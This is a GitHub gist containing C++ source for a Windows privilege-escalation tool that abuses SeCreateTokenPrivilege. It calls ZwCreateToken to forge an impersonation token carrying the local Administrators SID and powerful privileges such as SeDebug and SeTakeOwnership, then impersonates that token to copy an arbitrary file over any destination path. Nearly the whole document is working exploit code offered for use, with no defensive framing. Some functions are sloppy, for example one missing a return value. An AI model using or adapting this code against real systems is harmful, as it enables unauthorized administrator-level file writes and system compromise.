Skip to content

Instantly share code, notes, and snippets.

@wh0amitz
Created July 6, 2023 11:17
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save wh0amitz/62b1522609c77ab06a393fc756d62316 to your computer and use it in GitHub Desktop.
Save wh0amitz/62b1522609c77ab06a393fc756d62316 to your computer and use it in GitHub Desktop.
Abuse of SeCreateTokenPrivilege for arbitrary file writing
#include <Windows.h>
#include <winternl.h>
#define _NTDEF_
#include <NTSecAPI.h>
#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <sddl.h>
#include <lmaccess.h>
#pragma comment(lib, "Secur32.lib")
#pragma comment(lib, "Netapi32.lib")
#if !defined(NT_SUCCESS)
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#endif
#define SIZE 200000
#define STATUS_SUCCESS 0
typedef struct _SID_BUILTIN
{
UCHAR Revision;
UCHAR SubAuthorityCount;
SID_IDENTIFIER_AUTHORITY IdentifierAuthority;
ULONG SubAuthority[2];
} SID_BUILTIN, * PSID_BUILTIN;
typedef struct _SID_INTEGRITY
{
UCHAR Revision;
UCHAR SubAuthorityCount;
SID_IDENTIFIER_AUTHORITY IdentifierAuthority;
ULONG SubAuthority[1];
} SID_INTEGRITY, * PSID_INTEGRITY;
typedef NTSYSAPI NTSTATUS(NTAPI* _ZwCreateToken)(
OUT PHANDLE TokenHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN TOKEN_TYPE Type,
IN PLUID AuthenticationId,
IN PLARGE_INTEGER ExpirationTime,
IN PTOKEN_USER User,
IN PTOKEN_GROUPS Groups,
IN PTOKEN_PRIVILEGES Privileges,
IN PTOKEN_OWNER Owner,
IN PTOKEN_PRIMARY_GROUP PrimaryGroup,
IN PTOKEN_DEFAULT_DACL DefaultDacl,
IN PTOKEN_SOURCE Source
);
BOOL ExploitSeCreateTokenPrivilege(LPCWSTR sourceFile, LPCWSTR destFile)
{
BOOL status = FALSE;
HANDLE hSource, hDestination;
char buffer[SIZE + 1];
DWORD dwBytesRead, dwBytesWrite;
if (sourceFile && destFile)
{
// Open source file.
hSource = CreateFileW(sourceFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hSource == INVALID_HANDLE_VALUE)
{
wprintf(L"[-] Could not open source file by CreateFileW: [%u].\n", GetLastError());
return status;
}
// Create destination file.
hDestination = CreateFileW(destFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDestination == INVALID_HANDLE_VALUE)
{
wprintf(L"[-] Could not create destination file by CreateFileW: [%u].\n", GetLastError());
return status;
}
// Read from source file.
if (!ReadFile(hSource, buffer, SIZE, &dwBytesRead, NULL))
{
wprintf(L"[-] ReadFile Error: [%u].\n", GetLastError());
return status;
}
wprintf(L"[*] Read bytes from %ws: %d\n", sourceFile, dwBytesRead);
// Write to destination file.
if (!WriteFile(hDestination, buffer, dwBytesRead, &dwBytesWrite, NULL))
{
wprintf(L"[-] WriteFile Error: [%u].\n", GetLastError());
return status;
}
printf("[*] Bytes written to %ws: %d\n", destFile, dwBytesWrite);
status = TRUE;
}
}
PVOID GetTokenInfo(HANDLE hToken, TOKEN_INFORMATION_CLASS TokenInfoClass)
{
DWORD dwLength = 0;
PVOID pTokenData = NULL;
if (!GetTokenInformation(hToken, TokenInfoClass, NULL, 0, &dwLength))
{
if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
{
wprintf(L"[-] GetTokenInformation Error: [%u].\n", GetLastError());
goto Clear;
}
pTokenData = LocalAlloc(LPTR, dwLength);
if (!GetTokenInformation(hToken, TokenInfoClass, pTokenData, dwLength, &dwLength))
{
wprintf(L"[-] GetTokenInformation Error: [%u].\n", GetLastError());
goto Clear;
}
return pTokenData;
}
Clear:
if (pTokenData != NULL)
LocalFree(pTokenData);
return 0;
}
BOOL DisplayTokenInformation(HANDLE hToken)
{
BOOL status = FALSE;
DWORD dwLength = 0;
PTOKEN_STATISTICS pTokenStatistics = NULL;
PTOKEN_GROUPS pTokenGroups = NULL;
DWORD dwNameSize;
DWORD dwDomainSize;
LPWSTR lpGroupName = NULL;
LPWSTR lpDomainName = NULL;
LPWSTR lpGroupAccountName = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
SID_NAME_USE peUse;
PTOKEN_MANDATORY_LABEL pTokenIntegrityLevel = NULL;
PSID pSid;
LPWSTR lpGroupSid;
LPWSTR lpIntegritySid;
UINT len = 0;
PTOKEN_PRIVILEGES pTokenPrivileges = NULL;
LPWSTR lpName = NULL;
LPWSTR lpAttrbutes = (LPWSTR)LocalAlloc(LPTR, 8 * sizeof(WCHAR));
// Get Token Statistics Information
pTokenStatistics = (PTOKEN_STATISTICS)GetTokenInfo(hToken, TokenStatistics);
if (pTokenStatistics != NULL)
{
wprintf(L" > Token Statistics Information: \n");
wprintf(L" Token Id : %u:%u (%08x:%08x)\n", pTokenStatistics->TokenId.HighPart, pTokenStatistics->TokenId.LowPart, pTokenStatistics->TokenId.HighPart, pTokenStatistics->TokenId.LowPart);
wprintf(L" Authentication Id : %u:%u (%08x:%08x)\n", pTokenStatistics->AuthenticationId.HighPart, pTokenStatistics->AuthenticationId.LowPart, pTokenStatistics->AuthenticationId.HighPart, pTokenStatistics->AuthenticationId.LowPart);
wprintf(L" Token Type : %d\n", pTokenStatistics->TokenType);
wprintf(L" Impersonation Level : %d\n", pTokenStatistics->ImpersonationLevel);
wprintf(L" Group Count : %d\n", pTokenStatistics->GroupCount);
wprintf(L" Privilege Count : %d\n\n", pTokenStatistics->PrivilegeCount);
status = TRUE;
}
pTokenGroups = (PTOKEN_GROUPS)GetTokenInfo(hToken, TokenGroups);
if (pTokenGroups != NULL)
{
wprintf(L" > Token Group Information: \n");
for (DWORD i = 0; i < pTokenGroups->GroupCount; i++)
{
if (!(pTokenGroups->Groups[i].Attributes & SE_GROUP_LOGON_ID))
{
pSid = pTokenGroups->Groups[i].Sid;
dwNameSize = MAX_PATH;
dwDomainSize = MAX_PATH;
lpGroupName = (LPWSTR)LocalAlloc(LPTR, dwNameSize * sizeof(WCHAR));
lpDomainName = (LPWSTR)LocalAlloc(LPTR, dwDomainSize * sizeof(WCHAR));
if (!LookupAccountSidW(NULL, pSid, lpGroupName, &dwNameSize, lpDomainName, &dwDomainSize, &peUse))
{
wprintf(L"[-] LookupAccountSidW Error: [%u].\n", GetLastError());
goto Clear;
}
if (!ConvertSidToStringSidW(pSid, &lpGroupSid)) {
wprintf(L"[-] ConvertSidToStringSidW Error: [%u].\n", GetLastError());
goto Clear;
}
len = wsprintf(lpGroupAccountName, TEXT("%ws%ws%ws"), lpDomainName, dwDomainSize != 0 ? L"\\" : L"", lpGroupName);
wprintf(L" %-50ws%ws\n", lpGroupAccountName, lpGroupSid);
dwNameSize = MAX_PATH;
dwDomainSize = MAX_PATH;
}
}
status = TRUE;
}
pTokenIntegrityLevel = (PTOKEN_MANDATORY_LABEL)GetTokenInfo(hToken, TokenIntegrityLevel);
if (pTokenIntegrityLevel != NULL)
{
wprintf(L"\n > Token Integrity Level: \n");
pSid = pTokenIntegrityLevel->Label.Sid;
if (!ConvertSidToStringSidW(pSid, &lpIntegritySid)) {
wprintf(L"[-] ConvertSidToStringSidW Error: [%u].\n", GetLastError());
goto Clear;
}
wprintf(L" %ws\n", lpIntegritySid);
status = TRUE;
}
pTokenPrivileges = (PTOKEN_PRIVILEGES)GetTokenInfo(hToken, TokenPrivileges);
wprintf(L"\n > Token Privileges Information: \n");
dwLength = MAX_PATH;
for (int i = 0; i < pTokenPrivileges->PrivilegeCount; i++)
{
lpName = (LPWSTR)LocalAlloc(LPTR, dwLength * sizeof(WCHAR));
if (!(status = LookupPrivilegeNameW(NULL, &pTokenPrivileges->Privileges[i].Luid, lpName, &dwLength)))
{
wprintf(L"[-] LookupPrivilegeNameW Error: [%u].\n", GetLastError());
return status;
}
wprintf(L" %-50ws", lpName);
if (pTokenPrivileges->Privileges[i].Attributes & SE_PRIVILEGE_ENABLED)
len += wsprintf(lpAttrbutes, TEXT("Enabled"));
if (pTokenPrivileges->Privileges[i].Attributes & SE_PRIVILEGE_ENABLED_BY_DEFAULT)
len += wsprintf(lpAttrbutes, TEXT("Enabled"));
if (lpAttrbutes[0] == 0)
wsprintf(lpAttrbutes, TEXT("Disabled"));
wprintf(L"%ws\n", lpAttrbutes);
dwLength = MAX_PATH;
}
Clear:
if (pTokenStatistics != NULL)
LocalFree(pTokenStatistics);
if (pTokenGroups != NULL)
LocalFree(pTokenGroups);
return status;
}
void SetTokenPrivileges(PTOKEN_PRIVILEGES pTokenPrivileges)
{
LUID luid;
pTokenPrivileges->PrivilegeCount = 6;
// Enable SeImpersonatePrivilege
LookupPrivilegeValue(NULL, SE_IMPERSONATE_NAME, &luid);
pTokenPrivileges->Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
pTokenPrivileges->Privileges[0].Luid = luid;
// Enable SeAssignPrimaryTokenPrivilege
LookupPrivilegeValue(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &luid);
pTokenPrivileges->Privileges[1].Attributes = SE_PRIVILEGE_ENABLED;
pTokenPrivileges->Privileges[1].Luid = luid;
// Enable SeCreateTokenPrivilege
LookupPrivilegeValue(NULL, SE_CREATE_TOKEN_NAME, &luid);
pTokenPrivileges->Privileges[2].Attributes = SE_PRIVILEGE_ENABLED;
pTokenPrivileges->Privileges[2].Luid = luid;
// Enable SeRestorePrivilege
LookupPrivilegeValue(NULL, SE_RESTORE_NAME, &luid);
pTokenPrivileges->Privileges[3].Attributes = SE_PRIVILEGE_ENABLED;
pTokenPrivileges->Privileges[3].Luid = luid;
// Enable SeTakeOwnershipPrivilege
LookupPrivilegeValue(NULL, SE_TAKE_OWNERSHIP_NAME, &luid);
pTokenPrivileges->Privileges[4].Attributes = SE_PRIVILEGE_ENABLED;
pTokenPrivileges->Privileges[4].Luid = luid;
// Enable SeDebugPrivilege
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
pTokenPrivileges->Privileges[5].Attributes = SE_PRIVILEGE_ENABLED;
pTokenPrivileges->Privileges[5].Luid = luid;
}
HANDLE CreateUserToken(HANDLE hToken)
{
NTSTATUS Status;
HANDLE pElevatedToken = NULL;
PTOKEN_USER pTokenUser = NULL;
PTOKEN_PRIVILEGES pTokenPrivileges = NULL;
PTOKEN_GROUPS pTokenGroups = NULL;
PTOKEN_PRIMARY_GROUP pTokenPrimaryGroup = NULL;
PTOKEN_DEFAULT_DACL pTokenDefaultDacl = NULL;
TOKEN_SOURCE tokenSource;
PTOKEN_OWNER pTokenOwner = NULL;
SECURITY_QUALITY_OF_SERVICE securityQualityOfService = { sizeof(securityQualityOfService), SecurityImpersonation, SECURITY_STATIC_TRACKING, FALSE };
OBJECT_ATTRIBUTES objectAttributes = { sizeof(objectAttributes), 0, 0, 0, 0, &securityQualityOfService };
LUID AuthenticationId = ANONYMOUS_LOGON_LUID;
LARGE_INTEGER ExpirationTime;
_ZwCreateToken ZwCreateToken;
PISID pSid = NULL;
SID_BUILTIN LocalAdminGroupSID = { 1, 2,{ 0, 0, 0, 0, 0, 5 },{ 32, DOMAIN_ALIAS_RID_ADMINS } };
SID_INTEGRITY IntegrityMediumSID = { 1, 1, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_MEDIUM_RID };
HANDLE hThread = NULL;
ZwCreateToken = (_ZwCreateToken)GetProcAddress(LoadLibraryA("ntdll"), "ZwCreateToken");
if (ZwCreateToken == NULL) {
printf("[-] Failed to load ZwCreateToken: %d\n", GetLastError());
return NULL;
}
wprintf(L"[*] ZwCreateToken function loaded.\n");
pTokenUser = (PTOKEN_USER)GetTokenInfo(hToken, TokenUser);
strcpy_s(tokenSource.SourceName, TOKEN_SOURCE_LENGTH, "User32");
AllocateLocallyUniqueId(&tokenSource.SourceIdentifier);
pTokenPrivileges = (PTOKEN_PRIVILEGES)LocalAlloc(LMEM_FIXED, sizeof(TOKEN_PRIVILEGES) + (sizeof(LUID_AND_ATTRIBUTES) * 4));
pTokenPrivileges = (PTOKEN_PRIVILEGES)GetTokenInfo(hToken, TokenPrivileges);
SetTokenPrivileges(pTokenPrivileges);
pTokenGroups = (PTOKEN_GROUPS)GetTokenInfo(hToken, TokenGroups);
pTokenPrimaryGroup = (PTOKEN_PRIMARY_GROUP)GetTokenInfo(hToken, TokenPrimaryGroup);
pTokenDefaultDacl = (PTOKEN_DEFAULT_DACL)GetTokenInfo(hToken, TokenDefaultDacl);
for (DWORD i = 0; i < pTokenGroups->GroupCount; i++)
{
if (pTokenGroups->Groups[i].Attributes & SE_GROUP_INTEGRITY)
{
memcpy(pTokenGroups->Groups[i].Sid, &IntegrityMediumSID, sizeof(IntegrityMediumSID));
wprintf(L"[*] Set the token integrity level to medium.\n");
}
pSid = (PISID)pTokenGroups->Groups[i].Sid;
if (pSid->SubAuthority[pSid->SubAuthorityCount - 1] == DOMAIN_ALIAS_RID_USERS)
{
memcpy(pSid, &LocalAdminGroupSID, sizeof(LocalAdminGroupSID));
pTokenGroups->Groups[i].Attributes = SE_GROUP_ENABLED;
wprintf(L"[*] Add extra SID S-1-5-32-544 to token.\n");
}
else
{
pTokenGroups->Groups[i].Attributes &= ~SE_GROUP_USE_FOR_DENY_ONLY;
pTokenGroups->Groups[i].Attributes &= ~SE_GROUP_ENABLED;
}
}
pTokenOwner = (PTOKEN_OWNER)LocalAlloc(LPTR, sizeof(PSID));
pTokenOwner->Owner = pTokenUser->User.Sid;
ExpirationTime.HighPart = 0xFFFFFFFF;
ExpirationTime.LowPart = 0xFFFFFFFF;
Status = ZwCreateToken(
&pElevatedToken,
TOKEN_ALL_ACCESS,
&objectAttributes,
TokenImpersonation,
&AuthenticationId,
&ExpirationTime,
pTokenUser,
pTokenGroups,
pTokenPrivileges,
pTokenOwner,
pTokenPrimaryGroup,
pTokenDefaultDacl,
&tokenSource
);
if (Status != STATUS_SUCCESS)
{
wprintf(L"[-] ZwCreateToken Error: [0x%x].\n", Status);
goto Clear;
}
wprintf(L"[*] ZwCreateToken successfully and get elevated token:\n\n");
goto Clear;
Clear:
if (pTokenPrivileges)
LocalFree(pTokenPrivileges);
if (pTokenOwner)
LocalFree(pTokenOwner);
if (hToken)
CloseHandle(hToken);
return pElevatedToken;
}
BOOL EnableTokenPrivilege(HANDLE hToken, LPCWSTR lpName)
{
BOOL status = FALSE;
LUID luidValue = { 0 };
TOKEN_PRIVILEGES tokenPrivileges;
// Get the LUID value of the privilege for the local system
if (!LookupPrivilegeValueW(NULL, lpName, &luidValue))
{
wprintf(L"[-] LookupPrivilegeValue Error: [%u].\n", GetLastError());
return status;
}
// Set escalation information
tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Luid = luidValue;
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// Elevate Process Token Access
if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, sizeof(tokenPrivileges), NULL, NULL))
{
wprintf(L"[-] AdjustTokenPrivileges Error: [%u].\n", GetLastError());
return status;
}
else
{
status = TRUE;
}
return status;
}
int wmain(int argc, wchar_t* argv[])
{
HANDLE hToken = NULL;
HANDLE pElevatedToken = NULL;
HANDLE hThread = NULL;
LPCWSTR sourceFile = NULL;
LPCWSTR destFile = NULL;
while ((argc > 1) && (argv[1][0] == '-'))
{
switch (argv[1][1])
{
case 's':
++argv;
--argc;
if (argc > 1 && argv[1][0] != '-')
{
sourceFile = (LPCWSTR)argv[1];
}
break;
case 'd':
++argv;
--argc;
if (argc > 1 && argv[1][0] != '-')
{
destFile = (LPCWSTR)argv[1];
}
break;
default:
wprintf(L"[-] Invalid Argument: %s.\n", argv[1]);
return 0;
}
++argv;
--argc;
}
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken))
{
wprintf(L"[-] OpenProcessToken Error: [%u].\n", GetLastError());
return 0;
}
// Enable SeCreateTokenPrivilege for the current process token.
if (!EnableTokenPrivilege(hToken, SE_CREATE_TOKEN_NAME))
{
wprintf(L"[-] Failed to enable SeCreateTokenPrivilege for the current process token.\n");
return 0;
}
pElevatedToken = CreateUserToken(hToken);
if (pElevatedToken == NULL)
{
wprintf(L"[-] Failed to create user token.\n");
return 0;
}
if (!DisplayTokenInformation(pElevatedToken))
{
wprintf(L"[-] Failed to get S4U token information.\n");
return 0;
}
hThread = GetCurrentThread();
if (!SetThreadToken(&hThread, pElevatedToken))
{
wprintf(L"[-] SetThreadToken Error: [%u].\n", GetLastError());
return 0;
}
wprintf(L"\n[*] Successfully impersonated the elevated token.\n");
if (!ExploitSeCreateTokenPrivilege(sourceFile, destFile))
{
wprintf(L"[-] Failed to exploit SeCreateTokenPrivilege.\n");
return 0;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment